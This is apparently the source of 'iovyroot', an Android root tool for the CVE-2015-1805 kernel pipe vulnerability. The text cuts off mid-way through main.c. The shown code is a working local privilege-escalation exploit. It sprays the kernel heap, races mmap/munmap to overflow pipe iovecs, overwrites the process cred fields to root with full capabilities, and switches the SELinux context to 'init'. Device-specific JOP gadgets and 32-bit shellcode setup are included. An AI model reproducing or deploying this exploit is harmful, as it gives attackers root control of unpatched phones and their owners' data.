├── .gitattributes ├── .gitignore ├── README.md └── jni ├── Android.mk ├── Application.mk ├── flex_array.c ├── getroot.c ├── include ├── flex_array.h ├── getroot.h ├── offsets.h ├── policydb.h ├── sid.h ├── sidtab.h └── threadinfo.h ├── main.c ├── offsets.c └── sid.c /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | *.obj 5 | *.elf 6 | 7 | # Precompiled Headers 8 | *.gch 9 | *.pch 10 | 11 | # Libraries 12 | *.lib 13 | *.a 14 | *.la 15 | *.lo 16 | 17 | # Shared objects (inc. Windows DLLs) 18 | *.dll 19 | *.so 20 | *.so.* 21 | *.dylib 22 | 23 | # Executables 24 | *.exe 25 | *.out 26 | *.app 27 | *.i*86 28 | *.x86_64 29 | *.hex 30 | 31 | # Debug files 32 | *.dSYM/ 33 | 34 | # ========================= 35 | # Operating System Files 36 | # ========================= 37 | 38 | # OSX 39 | # ========================= 40 | 41 | .DS_Store 42 | .AppleDouble 43 | .LSOverride 44 | 45 | # Thumbnails 46 | ._* 47 | 48 | # Files that might appear in the root of a volume 49 | .DocumentRevisions-V100 50 | .fseventsd 51 | .Spotlight-V100 52 | .TemporaryItems 53 | .Trashes 54 | .VolumeIcon.icns 55 | 56 | # Directories potentially created on remote AFP share 57 | .AppleDB 58 | .AppleDesktop 59 | Network Trash Folder 60 | Temporary Items 61 | .apdisk 62 | 63 | # Windows 64 | # ========================= 65 | 66 | # Windows image file caches 67 | Thumbs.db 68 | ehthumbs.db 69 | 70 | # Folder config file 71 | Desktop.ini 72 | 73 | # Recycle Bin used on file shares 74 | $RECYCLE.BIN/ 75 | 76 | # Windows Installer files 77 | *.cab 78 | *.msi 79 | *.msm 80 | *.msp 81 | 82 | # Windows shortcuts 83 | *.lnk 84 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # iovyroot 2 | A root tool based on the [CVE-2015-1805 vulnerability](https://access.redhat.com/security/cve/cve-2015-1805) 3 | 4 | It supports 32 and 64bit but requires absolute kernel addresses (see [offsets.c](jni/offsets.c)) 5 | 6 | 7 | 8 | poc was done by idler1984 https://github.com/idl3r/testcode -------------------------------------------------------------------------------- /jni/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | 5 | LOCAL_ARM_MODE := arm 6 | LOCAL_CFLAGS := -O3 -DNDEBUG --all-warnings --extra-warnings 7 | LOCAL_C_INCLUDES := $(LOCAL_PATH)/include/ 8 | 9 | LOCAL_MODULE := iovyroot 10 | LOCAL_SRC_FILES := main.c getroot.c flex_array.c sid.c offsets.c 11 | 12 | include $(BUILD_EXECUTABLE) 13 | -------------------------------------------------------------------------------- /jni/Application.mk: -------------------------------------------------------------------------------- 1 | APP_PLATFORM := android-21 2 | APP_ABI := arm64-v8a armeabi-v7a 3 | -------------------------------------------------------------------------------- /jni/flex_array.c: -------------------------------------------------------------------------------- 1 | 2 | #include "flex_array.h" 3 | 4 | static inline __u32 reciprocal_divide(__u32 A, __u32 R) 5 | { 6 | return (__u32)(((__u64)A * R) >> 32); 7 | } 8 | 9 | static int fa_element_to_part_nr(struct flex_array *fa, 10 | unsigned int element_nr) 11 | { 12 | return reciprocal_divide(element_nr, fa->reciprocal_elems); 13 | } 14 | 15 | /* 16 | * If a user requests an allocation which is small 17 | * enough, we may simply use the space in the 18 | * flex_array->parts[] array to store the user 19 | * data. 20 | */ 21 | static inline int elements_fit_in_base(struct flex_array *fa) 22 | { 23 | unsigned int data_size = fa->element_size * fa->total_nr_elements; 24 | if (data_size <= FLEX_ARRAY_BASE_BYTES_LEFT) 25 | return 1; 26 | return 0; 27 | } 28 | 29 | static unsigned int index_inside_part(struct flex_array *fa, 30 | unsigned int element_nr, 31 | unsigned int part_nr) 32 | { 33 | unsigned int part_offset; 34 | 35 | part_offset = element_nr - part_nr * fa->elems_per_part; 36 | return part_offset * fa->element_size; 37 | } 38 | 39 | inline void* flex_array_get_from_part(struct flex_array_part* part, int part_nr, struct flex_array* fa, unsigned int element_nr) 40 | { 41 | return &part->elements[index_inside_part(fa, element_nr, part_nr)]; 42 | } 43 | 44 | struct flex_array_part* flex_array_get_part(struct flex_array* fa, unsigned int element_nr, int* partnr) 45 | { 46 | int part_nr = fa_element_to_part_nr(fa, element_nr); 47 | struct flex_array_part* part = fa->parts[part_nr]; 48 | if(partnr) 49 | *partnr = part_nr; 50 | return part; 51 | } 52 | 53 | void *flex_array_get_base(struct flex_array *fa, unsigned int element_nr) 54 | { 55 | int part_nr = 0; 56 | struct flex_array_part *part; 57 | 58 | if (!elements_fit_in_base(fa)) 59 | return NULL; 60 | 61 | part = (struct flex_array_part *)&fa->parts[0]; 62 | return &part->elements[index_inside_part(fa, element_nr, part_nr)]; 63 | } 64 | 65 | inline unsigned int flex_array_has_element(struct flex_array* fa, unsigned int element_nr) 66 | { 67 | if (!fa->element_size) 68 | return 0; 69 | if (element_nr >= (unsigned int)fa->total_nr_elements) 70 | return 0; 71 | return 1; 72 | } 73 | 74 | void *flex_array_get(struct flex_array *fa, unsigned int element_nr) 75 | { 76 | int part_nr = 0; 77 | struct flex_array_part *part; 78 | 79 | if (!flex_array_has_element(fa, element_nr)) 80 | return NULL; 81 | if (elements_fit_in_base(fa)) 82 | part = (struct flex_array_part *)&fa->parts[0]; 83 | else 84 | { 85 | part_nr = fa_element_to_part_nr(fa, element_nr); 86 | part = fa->parts[part_nr]; 87 | if (!part) 88 | return NULL; 89 | } 90 | 91 | return &part->elements[index_inside_part(fa, element_nr, part_nr)]; 92 | } 93 | -------------------------------------------------------------------------------- /jni/getroot.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "threadinfo.h" 7 | #include "sid.h" 8 | 9 | #define __user 10 | #define __kernel 11 | 12 | #define QUOTE(str) #str 13 | #define TOSTR(str) QUOTE(str) 14 | #define ASMMAGIC (0xBEEFDEAD) 15 | 16 | int read_at_address_pipe(void* address, void* buf, ssize_t len) 17 | { 18 | int ret = 1; 19 | int pipes[2]; 20 | 21 | if(pipe(pipes)) 22 | return 1; 23 | 24 | if(write(pipes[1], address, len) != len) 25 | goto end; 26 | if(read(pipes[0], buf, len) != len) 27 | goto end; 28 | 29 | ret = 0; 30 | end: 31 | close(pipes[1]); 32 | close(pipes[0]); 33 | return ret; 34 | } 35 | 36 | int write_at_address_pipe(void* address, void* buf, ssize_t len) 37 | { 38 | int ret = 1; 39 | int pipes[2]; 40 | 41 | if(pipe(pipes)) 42 | return 1; 43 | 44 | if(write(pipes[1], buf, len) != len) 45 | goto end; 46 | if(read(pipes[0], address, len) != len) 47 | goto end; 48 | 49 | ret = 0; 50 | end: 51 | close(pipes[1]); 52 | close(pipes[0]); 53 | return ret; 54 | } 55 | 56 | inline int writel_at_address_pipe(void* address, unsigned long val) 57 | { 58 | return write_at_address_pipe(address, &val, sizeof(val)); 59 | } 60 | 61 | int modify_task_cred_uc(struct thread_info* __kernel info) 62 | { 63 | unsigned int i; 64 | unsigned long val; 65 | struct cred* __kernel cred = NULL; 66 | struct thread_info ti; 67 | struct task_security_struct* __kernel security = NULL; 68 | struct task_struct_partial* __user tsp; 69 | 70 | if(read_at_address_pipe(info, &ti, sizeof(ti))) 71 | return 1; 72 | 73 | tsp = malloc(sizeof(*tsp)); 74 | for(i = 0; i < 0x600; i+= sizeof(void*)) 75 | { 76 | struct task_struct_partial* __kernel t = (struct task_struct_partial*)((void*)ti.task + i); 77 | if(read_at_address_pipe(t, tsp, sizeof(*tsp))) 78 | break; 79 | 80 | if (is_cpu_timer_valid(&tsp->cpu_timers[0]) 81 | && is_cpu_timer_valid(&tsp->cpu_timers[1]) 82 | && is_cpu_timer_valid(&tsp->cpu_timers[2]) 83 | && tsp->real_cred == tsp->cred) 84 | { 85 | cred = tsp->cred; 86 | break; 87 | } 88 | } 89 | 90 | free(tsp); 91 | if(cred == NULL) 92 | return 1; 93 | 94 | val = 0; 95 | write_at_address_pipe(&cred->uid, &val, sizeof(cred->uid)); 96 | write_at_address_pipe(&cred->gid, &val, sizeof(cred->gid)); 97 | write_at_address_pipe(&cred->suid, &val, sizeof(cred->suid)); 98 | write_at_address_pipe(&cred->sgid, &val, sizeof(cred->sgid)); 99 | write_at_address_pipe(&cred->euid, &val, sizeof(cred->euid)); 100 | write_at_address_pipe(&cred->egid, &val, sizeof(cred->egid)); 101 | write_at_address_pipe(&cred->fsuid, &val, sizeof(cred->fsuid)); 102 | write_at_address_pipe(&cred->fsgid, &val, sizeof(cred->fsgid)); 103 | 104 | val = -1; 105 | write_at_address_pipe(&cred->cap_inheritable.cap[0], &val, sizeof(cred->cap_inheritable.cap[0])); 106 | write_at_address_pipe(&cred->cap_inheritable.cap[1], &val, sizeof(cred->cap_inheritable.cap[1])); 107 | write_at_address_pipe(&cred->cap_permitted.cap[0], &val, sizeof(cred->cap_permitted.cap[0])); 108 | write_at_address_pipe(&cred->cap_permitted.cap[1], &val, sizeof(cred->cap_permitted.cap[1])); 109 | write_at_address_pipe(&cred->cap_effective.cap[0], &val, sizeof(cred->cap_effective.cap[0])); 110 | write_at_address_pipe(&cred->cap_effective.cap[1], &val, sizeof(cred->cap_effective.cap[1])); 111 | write_at_address_pipe(&cred->cap_bset.cap[0], &val, sizeof(cred->cap_bset.cap[0])); 112 | write_at_address_pipe(&cred->cap_bset.cap[1], &val, sizeof(cred->cap_bset.cap[1])); 113 | 114 | read_at_address_pipe(&cred->security, &security, sizeof(security)); 115 | if ((unsigned long)security > KERNEL_START) 116 | { 117 | struct task_security_struct tss; 118 | if(read_at_address_pipe(security, &tss, sizeof(tss))) 119 | goto end; 120 | 121 | if (tss.osid != 0 122 | && tss.sid != 0 123 | && tss.exec_sid == 0 124 | && tss.create_sid == 0 125 | && tss.keycreate_sid == 0 126 | && tss.sockcreate_sid == 0) 127 | { 128 | unsigned int sid = get_sid("init"); 129 | if(sid) 130 | { 131 | write_at_address_pipe(&security->osid, &sid, sizeof(security->osid)); 132 | write_at_address_pipe(&security->sid, &sid, sizeof(security->sid)); 133 | } 134 | } 135 | } 136 | 137 | end: 138 | return 0; 139 | } 140 | 141 | #if !(__LP64__) 142 | __attribute__ ((naked)) static void wrapper() 143 | { 144 | asm volatile( 145 | "ldr PC, ="TOSTR(ASMMAGIC) 146 | ); 147 | } 148 | 149 | static struct thread_info* exploit() 150 | { 151 | struct thread_info* ti = current_thread_info(); 152 | ti->addr_limit = -1; 153 | return ti; 154 | } 155 | 156 | void copyshellcode(void** addr) 157 | { 158 | unsigned int i; 159 | memcpy(addr, wrapper, 0x100); 160 | 161 | for(i = 0; i < (0x100 / sizeof(void*)); i++) 162 | { 163 | if(addr[i] == (void*)ASMMAGIC) 164 | { 165 | addr[i] = &exploit; 166 | break; 167 | } 168 | } 169 | } 170 | 171 | #else 172 | 173 | void preparejop(void** addr, void* jopret) 174 | { 175 | unsigned int i; 176 | for(i = 0; i < (0x1000 / sizeof(int)); i++) 177 | ((int*)addr)[i] = 0xDEAD; 178 | 179 | /* 180 | load frame pointer into x0, x0 is mmap address 181 | LOAD:FFFFFFC0003C66E0 LDR X1, [X0,#0x210] 182 | LOAD:FFFFFFC0003C66E4 CBZ X1, loc_FFFFFFC0003C66F0 183 | LOAD:FFFFFFC0003C66E8 ADD X0, X29, #0x78 184 | LOAD:FFFFFFC0003C66EC BLR X1 185 | */ 186 | addr[66] = jopret; //[X0, #0x210] 187 | 188 | /* Xperia M5 189 | .text:FFFFFFC0001E06FC LDR X1, [X0,#8] 190 | .text:FFFFFFC0001E0700 CBZ X1, loc_FFFFFFC0001E070C 191 | .text:FFFFFFC0001E0704 ADD X0, X29, #0x10 192 | .text:FFFFFFC0001E0708 BLR X1 193 | */ 194 | addr[1] = jopret; //[X0,#8] 195 | 196 | /* LG Nexus 5X 197 | 0xffffffc0003ee4f0 011040f9 ldr x1, [x0, 0x20] 198 | 0xffffffc0003ee4f4 a0430191 add x0, x29, 0x50 199 | 0xffffffc0003ee4f8 20003fd6 blr x1 200 | */ 201 | addr[4] = jopret; //[x0, 0x20] 202 | } 203 | 204 | #endif 205 | -------------------------------------------------------------------------------- /jni/include/flex_array.h: -------------------------------------------------------------------------------- 1 | #ifndef FLEX_ARRAY_H 2 | #define FLEX_ARRAY_H 3 | 4 | #include 5 | 6 | #define FLEX_ARRAY_PART_SIZE PAGE_SIZE 7 | #define FLEX_ARRAY_BASE_SIZE PAGE_SIZE 8 | 9 | #define SYM_COMMONS 0 10 | #define SYM_CLASSES 1 11 | #define SYM_ROLES 2 12 | #define SYM_TYPES 3 13 | #define SYM_USERS 4 14 | #define SYM_BOOLS 5 15 | #define SYM_LEVELS 6 16 | #define SYM_CATS 7 17 | #define SYM_NUM 8 18 | 19 | struct symtab { 20 | void *table; /* hash table (keyed on a string) */ 21 | __u32 nprim; /* number of primary names in table */ 22 | }; 23 | 24 | struct flex_array_part { 25 | char elements[FLEX_ARRAY_PART_SIZE]; 26 | }; 27 | 28 | struct flex_array { 29 | union { 30 | struct { 31 | int element_size; 32 | int total_nr_elements; 33 | int elems_per_part; 34 | __u32 reciprocal_elems; 35 | struct flex_array_part *parts[]; 36 | }; 37 | /* 38 | * This little trick makes sure that 39 | * sizeof(flex_array) == PAGE_SIZE 40 | */ 41 | char padding[FLEX_ARRAY_BASE_SIZE]; 42 | }; 43 | }; 44 | 45 | /* Number of bytes left in base struct flex_array, excluding metadata */ 46 | #define FLEX_ARRAY_BASE_BYTES_LEFT \ 47 | (FLEX_ARRAY_BASE_SIZE - offsetof(struct flex_array, parts)) 48 | 49 | void *flex_array_get(struct flex_array *fa, unsigned int element_nr); 50 | //safe functions for usercode 51 | inline unsigned int flex_array_has_element(struct flex_array* fa, unsigned int element_nr); 52 | void *flex_array_get_base(struct flex_array *fa, unsigned int element_nr); 53 | void* flex_array_get_from_part(struct flex_array_part* part, int part_nr, struct flex_array* fa, unsigned int element_nr); 54 | struct flex_array_part* flex_array_get_part(struct flex_array* fa, unsigned int element_nr, int* partnr); 55 | 56 | #endif /* FLEX_ARRAY_H */ 57 | -------------------------------------------------------------------------------- /jni/include/getroot.h: -------------------------------------------------------------------------------- 1 | #ifndef GETROOT_H 2 | #define GETROOT_H 3 | 4 | #include "threadinfo.h" 5 | 6 | int read_at_address_pipe(void* address, void* buf, ssize_t len); 7 | int write_at_address_pipe(void* address, void* buf, ssize_t len); 8 | inline int writel_at_address_pipe(void* address, unsigned long val); 9 | int modify_task_cred_uc(struct thread_info* info); 10 | //32bit 11 | void copyshellcode(void* addr); 12 | //64bit 13 | void preparejop(void** addr, void* jopret); 14 | 15 | #endif /* GETROOT_H */ 16 | -------------------------------------------------------------------------------- /jni/include/offsets.h: -------------------------------------------------------------------------------- 1 | #ifndef OFFSETS_H 2 | #define OFFSETS_H 3 | 4 | //struct file_operations 5 | #define FSYNC_OFFSET(i) ((i) + (14 * sizeof(void*))) 6 | #define CHECK_FLAGS_OFFSET(i) ((i) + (20 * sizeof(void*))) 7 | 8 | struct offsets { 9 | char* devname; //ro.product.model 10 | char* kernelver; // /proc/version 11 | union { 12 | void* fsync; //ptmx_fops -> fsync 13 | void* check_flags; //ptmx_fops -> check_flags 14 | }; 15 | #if (__LP64__) 16 | void* joploc; //gadget location, see getroot.c 17 | void* jopret; //return to setfl after check_flags() (fcntl.c), usually inlined in sys_fcntl 18 | #endif 19 | void* sidtab; //optional, for selinux contenxt 20 | void* policydb; //optional, for selinux context 21 | void* selinux_enabled; 22 | void* selinux_enforcing; 23 | }; 24 | 25 | struct offsets* get_offsets(); 26 | extern struct offsets offsets[]; 27 | 28 | #endif /* OFFSETS_H */ 29 | -------------------------------------------------------------------------------- /jni/include/policydb.h: -------------------------------------------------------------------------------- 1 | #ifndef POLICYDB_H 2 | #define POLICYDB_H 3 | 4 | #include "flex_array.h" 5 | 6 | struct policydb* policydb; 7 | 8 | struct policydb { 9 | int mls_enabled; 10 | 11 | /* symbol tables */ 12 | struct symtab symtab[SYM_NUM]; 13 | 14 | /* symbol names indexed by (value - 1) */ 15 | struct flex_array *sym_val_to_name[SYM_NUM]; 16 | 17 | /* ... */ 18 | }; 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /jni/include/sid.h: -------------------------------------------------------------------------------- 1 | #ifndef SID_H 2 | #define SID_H 3 | 4 | int get_sid(char* sidname); 5 | 6 | #endif /* SID_H */ 7 | -------------------------------------------------------------------------------- /jni/include/sidtab.h: -------------------------------------------------------------------------------- 1 | #ifndef SIDTAB_H 2 | #define SIDTAB_H 3 | 4 | #define SIDTAB_HASH_BITS 7 5 | #define SIDTAB_HASH_BUCKETS (1 << SIDTAB_HASH_BITS) 6 | #define SIDTAB_HASH_MASK (SIDTAB_HASH_BUCKETS-1) 7 | #define SIDTAB_HASH(sid) (sid & SIDTAB_HASH_MASK) 8 | #define SIDTAB_SIZE SIDTAB_HASH_BUCKETS 9 | 10 | struct sidtab* sidtab; 11 | 12 | #ifndef u32 13 | typedef unsigned int u32; 14 | #endif 15 | 16 | struct ebitmap { 17 | void *node; /* first node in the bitmap */ 18 | u32 highbit; /* highest position in the total bitmap */ 19 | }; 20 | 21 | struct mls_level { 22 | u32 sens; /* sensitivity */ 23 | struct ebitmap cat; /* category set */ 24 | }; 25 | 26 | struct mls_range { 27 | struct mls_level level[2]; /* low == level[0], high == level[1] */ 28 | }; 29 | 30 | struct context { 31 | u32 user; 32 | u32 role; 33 | u32 type; 34 | u32 len; /* length of string in bytes */ 35 | struct mls_range range; 36 | char *str; /* string representation if context cannot be mapped. */ 37 | }; 38 | 39 | struct sidtab_node { 40 | u32 sid; /* security identifier */ 41 | struct context context; /* security context structure */ 42 | struct sidtab_node *next; 43 | }; 44 | 45 | struct sidtab { 46 | struct sidtab_node **htable; 47 | unsigned int nel; /* number of elements */ 48 | /* ... */ 49 | }; 50 | 51 | #endif /* SIDTAB_H */ 52 | -------------------------------------------------------------------------------- /jni/include/threadinfo.h: -------------------------------------------------------------------------------- 1 | #ifndef THREADINFO_H 2 | #define THREADINFO_H 3 | 4 | //64bit structs according to sources from Z5 Lollipop 32.0.A.6.200 5 | //32bit structs according to sources from Z3C Lollipop 23.4.A.1.200 6 | 7 | #if (__LP64__) 8 | #define KERNEL_START 0xffffffc000000000 9 | #define THREAD_SIZE 16384 10 | #else 11 | #define KERNEL_START 0xc0000000 12 | #define THREAD_SIZE 8192 13 | #endif 14 | 15 | typedef unsigned int u32; 16 | struct task_struct; 17 | struct thread_info; 18 | 19 | struct list_head { 20 | struct list_head *next, *prev; 21 | }; 22 | 23 | static inline struct thread_info* get_thread_info(unsigned long sp) 24 | { 25 | return (struct thread_info*)(sp & ~(THREAD_SIZE - 1)); 26 | } 27 | 28 | static inline struct thread_info* current_thread_info() 29 | { 30 | register unsigned long sp asm ("sp"); 31 | return get_thread_info(sp); 32 | } 33 | 34 | static inline int is_cpu_timer_valid(struct list_head* cpu_timer) 35 | { 36 | if (cpu_timer->next != cpu_timer->prev) 37 | return 0; 38 | 39 | if ((unsigned long)cpu_timer->next < KERNEL_START) 40 | return 0; 41 | 42 | return 1; 43 | } 44 | 45 | typedef struct { 46 | int counter; 47 | } atomic_t; 48 | 49 | typedef struct kernel_cap_struct { 50 | __u32 cap[2]; 51 | } kernel_cap_t; 52 | 53 | struct task_security_struct { 54 | u32 osid; /* SID prior to last execve */ 55 | u32 sid; /* current SID */ 56 | u32 exec_sid; /* exec SID */ 57 | u32 create_sid; /* fscreate SID */ 58 | u32 keycreate_sid; /* keycreate SID */ 59 | u32 sockcreate_sid; /* fscreate SID */ 60 | }; 61 | 62 | struct task_struct_partial 63 | { 64 | /* ... */ 65 | struct list_head cpu_timers[3]; 66 | struct cred *real_cred; 67 | struct cred *cred; 68 | struct cred *replacement_session_keyring; 69 | char comm[16]; 70 | /* ... */ 71 | }; 72 | 73 | struct cred { 74 | atomic_t usage; 75 | uid_t uid; /* real UID of the task */ 76 | gid_t gid; /* real GID of the task */ 77 | uid_t suid; /* saved UID of the task */ 78 | gid_t sgid; /* saved GID of the task */ 79 | uid_t euid; /* effective UID of the task */ 80 | gid_t egid; /* effective GID of the task */ 81 | uid_t fsuid; /* UID for VFS ops */ 82 | gid_t fsgid; /* GID for VFS ops */ 83 | unsigned securebits; /* SUID-less security management */ 84 | kernel_cap_t cap_inheritable; /* caps our children can inherit */ 85 | kernel_cap_t cap_permitted; /* caps we're permitted */ 86 | kernel_cap_t cap_effective; /* caps we can actually use */ 87 | kernel_cap_t cap_bset; /* capability bounding set */ 88 | unsigned char jit_keyring; /* default keyring to attach requested 89 | * keys to */ 90 | #if (__LP64__) 91 | void *session_keyring; /* keyring inherited over fork */ 92 | void *process_keyring; /* keyring private to this process */ 93 | void *thread_keyring; /* keyring private to this thread */ 94 | void *request_key_auth; /* assumed request_key authority */ 95 | #else 96 | void *thread_keyring; /* keyring private to this thread */ 97 | void *request_key_auth; /* assumed request_key authority */ 98 | void *tgcred; /* thread-group shared credentials */ 99 | #endif 100 | struct task_security_struct *security; /* subjective LSM security */ 101 | /* ... */ 102 | }; 103 | 104 | #if (__LP64__) 105 | struct thread_info { 106 | unsigned long flags; /* low level flags */ 107 | unsigned long addr_limit; /* address limit */ 108 | struct task_struct *task; /* main task structure */ 109 | /* ... */ 110 | }; 111 | #else 112 | struct thread_info 113 | { 114 | unsigned long flags; 115 | int preempt_count; 116 | unsigned long addr_limit; 117 | struct task_struct *task; 118 | /* ... */ 119 | }; 120 | #endif 121 | 122 | #endif /* THREADINFO_H */ 123 | -------------------------------------------------------------------------------- /jni/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | 8 | #include 9 | #include 10 | 11 | #include 12 | 13 | #include "getroot.h" 14 | #include "sidtab.h" 15 | #include "policydb.h" 16 | #include "offsets.h" 17 | 18 | #define UDP_SERVER_PORT (5105) 19 | #define MEMMAGIC (0xDEADBEEF) 20 | //pipe buffers are seperated in pages 21 | #define PIPESZ (4096 * 32) 22 | #define IOVECS (512) 23 | #define SENDTHREADS (1000) 24 | #define MMAP_START ((void*)0x40000000) 25 | #define MMAP_SIZE (0x1000) 26 | #define MMAP_BASE(i) (MMAP_START + (i) * MMAP_SIZE) 27 | 28 | static int kill_switch = 0; 29 | static int stop_send = 0; 30 | static int pipefd[2]; 31 | static struct iovec iovs[IOVECS]; 32 | static struct iovec sendiovs[IOVECS]; 33 | static unsigned long overflowcheck = MEMMAGIC; 34 | 35 | static void* readpipe(void* param) 36 | { 37 | while(!kill_switch) 38 | { 39 | readv((int)((long)param), iovs, ((IOVECS / 2) + 1)); 40 | } 41 | 42 | pthread_exit(NULL); 43 | } 44 | 45 | static int startreadpipe() 46 | { 47 | int ret; 48 | pthread_t rthread; 49 | 50 | printf(" [+] Start read thread\n"); 51 | if((ret = pthread_create(&rthread, NULL, readpipe, (void*)(long)pipefd[0]))) 52 | perror("read pthread_create()"); 53 | 54 | return ret; 55 | } 56 | 57 | static char wbuf[4096]; 58 | static void* writepipe(void* param) 59 | { 60 | while(!kill_switch) 61 | { 62 | if(write((int)((long)param), wbuf, sizeof(wbuf)) != sizeof(wbuf)) 63 | perror("write()"); 64 | } 65 | 66 | pthread_exit(NULL); 67 | } 68 | 69 | static int startwritepipe(long targetval) 70 | { 71 | int ret; 72 | unsigned int i; 73 | pthread_t wthread; 74 | 75 | printf(" [+] Start write thread\n"); 76 | 77 | for(i = 0; i < (sizeof(wbuf) / sizeof(targetval)); i++) 78 | ((long*)wbuf)[i] = targetval; 79 | if((ret = pthread_create(&wthread, NULL, writepipe, (void*)(long)pipefd[1]))) 80 | perror("write pthread_create()"); 81 | 82 | return ret; 83 | } 84 | 85 | static void* writemsg(void* param) 86 | { 87 | int sockfd; 88 | struct mmsghdr msg = {{ 0 }, 0 }; 89 | struct sockaddr_in soaddr = { 0 }; 90 | 91 | (void)param; /* UNUSED */ 92 | soaddr.sin_family = AF_INET; 93 | soaddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 94 | soaddr.sin_port = htons(UDP_SERVER_PORT); 95 | 96 | sockfd = socket(AF_INET, SOCK_DGRAM, 0); 97 | if (sockfd == -1) 98 | { 99 | perror("socket client failed"); 100 | pthread_exit((void*)-1); 101 | } 102 | 103 | if (connect(sockfd, (struct sockaddr *)&soaddr, sizeof(soaddr)) == -1) 104 | { 105 | perror("connect failed"); 106 | pthread_exit((void*)-1); 107 | } 108 | 109 | msg.msg_hdr.msg_iov = sendiovs; 110 | msg.msg_hdr.msg_iovlen = IOVECS; 111 | msg.msg_hdr.msg_control = sendiovs; 112 | msg.msg_hdr.msg_controllen = (IOVECS * sizeof(struct iovec)); 113 | 114 | while(!stop_send) 115 | { 116 | sendmmsg(sockfd, &msg, 1, 0); 117 | } 118 | 119 | close(sockfd); 120 | pthread_exit(NULL); 121 | } 122 | 123 | static int heapspray(long* target) 124 | { 125 | unsigned int i; 126 | void* retval; 127 | pthread_t msgthreads[SENDTHREADS]; 128 | 129 | printf(" [+] Spraying kernel heap\n"); 130 | for(i = 0; i < IOVECS; i++) 131 | { 132 | sendiovs[i].iov_base = MMAP_START; 133 | sendiovs[i].iov_len = MMAP_SIZE; 134 | } 135 | 136 | sendiovs[(IOVECS / 2) + 1].iov_base = &overflowcheck; 137 | sendiovs[(IOVECS / 2) + 1].iov_len = sizeof(overflowcheck); 138 | sendiovs[(IOVECS / 2) + 2].iov_base = target; 139 | sendiovs[(IOVECS / 2) + 2].iov_len = sizeof(*target); 140 | 141 | for(i = 0; i < SENDTHREADS; i++) 142 | { 143 | if(pthread_create(&msgthreads[i], NULL, writemsg, NULL)) 144 | { 145 | perror("heapspray pthread_create()"); 146 | return 1; 147 | } 148 | } 149 | 150 | sleep(3); 151 | stop_send = 1; 152 | for(i = 0; i < SENDTHREADS; i++) 153 | pthread_join(msgthreads[i], &retval); 154 | stop_send = 0; 155 | 156 | return 0; 157 | } 158 | 159 | static void* mapunmap(void* param) 160 | { 161 | void* addr = MMAP_BASE(1); 162 | 163 | (void)param; /* UNUSED */ 164 | while(!kill_switch) 165 | { 166 | munmap(addr, MMAP_SIZE); 167 | if(mmap(addr, MMAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) 168 | { 169 | perror("mmap() thread"); 170 | exit(2); 171 | } 172 | usleep(50); 173 | } 174 | 175 | pthread_exit(NULL); 176 | } 177 | 178 | static int startmapunmap() 179 | { 180 | int ret; 181 | pthread_t mapthread; 182 | 183 | printf(" [+] Start map/unmap thread\n"); 184 | if((ret = pthread_create(&mapthread, NULL, mapunmap, NULL))) 185 | perror("mapunmap pthread_create()"); 186 | 187 | return ret; 188 | } 189 | 190 | static int initmappings() 191 | { 192 | unsigned int i; 193 | 194 | printf("[+] Allocating memory\n"); 195 | for(i = 0; i < IOVECS; i++) 196 | { 197 | int* addr = MMAP_BASE(i); 198 | if(mmap(addr, MMAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) 199 | { 200 | perror("mmap()"); 201 | return 1; 202 | } 203 | 204 | memset(addr, 0, MMAP_SIZE); 205 | 206 | iovs[i].iov_base = addr; 207 | //total should be more than one pipe buf len (4096 bytes) 208 | iovs[i].iov_len = 32; 209 | } 210 | 211 | //how many bytes we can arbitrary write 212 | iovs[0].iov_len = sizeof(long) * 2; 213 | //make a total of 2 pipe bufs (8192 bytes) 214 | iovs[1].iov_len = ((8192 - iovs[0].iov_len) - (((IOVECS / 2) - 1) * 32)); 215 | 216 | return 0; 217 | } 218 | 219 | static int getpipes() 220 | { 221 | int ret; 222 | printf("[+] Getting pipes\n"); 223 | if((ret = pipe(pipefd))) 224 | { 225 | perror("pipe()"); 226 | return ret; 227 | } 228 | 229 | ret = (fcntl(pipefd[1], F_SETPIPE_SZ, PIPESZ) == PIPESZ) ? 0 : 1; 230 | if(ret) 231 | perror("fcntl()"); 232 | 233 | return ret; 234 | } 235 | 236 | static int setfdlimit() 237 | { 238 | struct rlimit rlim; 239 | int ret; 240 | if ((ret = getrlimit(RLIMIT_NOFILE, &rlim))) 241 | { 242 | perror("getrlimit()"); 243 | return ret; 244 | } 245 | 246 | printf("[+] Changing fd limit from %lu to %lu\n", rlim.rlim_cur, rlim.rlim_max); 247 | rlim.rlim_cur = rlim.rlim_max; 248 | if((ret = setrlimit(RLIMIT_NOFILE, &rlim))) 249 | perror("setrlimit()"); 250 | 251 | return ret; 252 | } 253 | 254 | static int setprocesspriority() 255 | { 256 | int ret; 257 | printf("[+] Changing process priority to highest\n"); 258 | if((ret = setpriority(PRIO_PROCESS, 0, -20)) == -1) 259 | perror("setpriority()"); 260 | return ret; 261 | } 262 | 263 | static int write_at_address(void* target, unsigned long targetval) 264 | { 265 | kill_switch = 0; 266 | overflowcheck = MEMMAGIC; 267 | 268 | printf(" [+] Patching address %p\n", target); 269 | if(startmapunmap()) 270 | return 1; 271 | if(startwritepipe(targetval)) 272 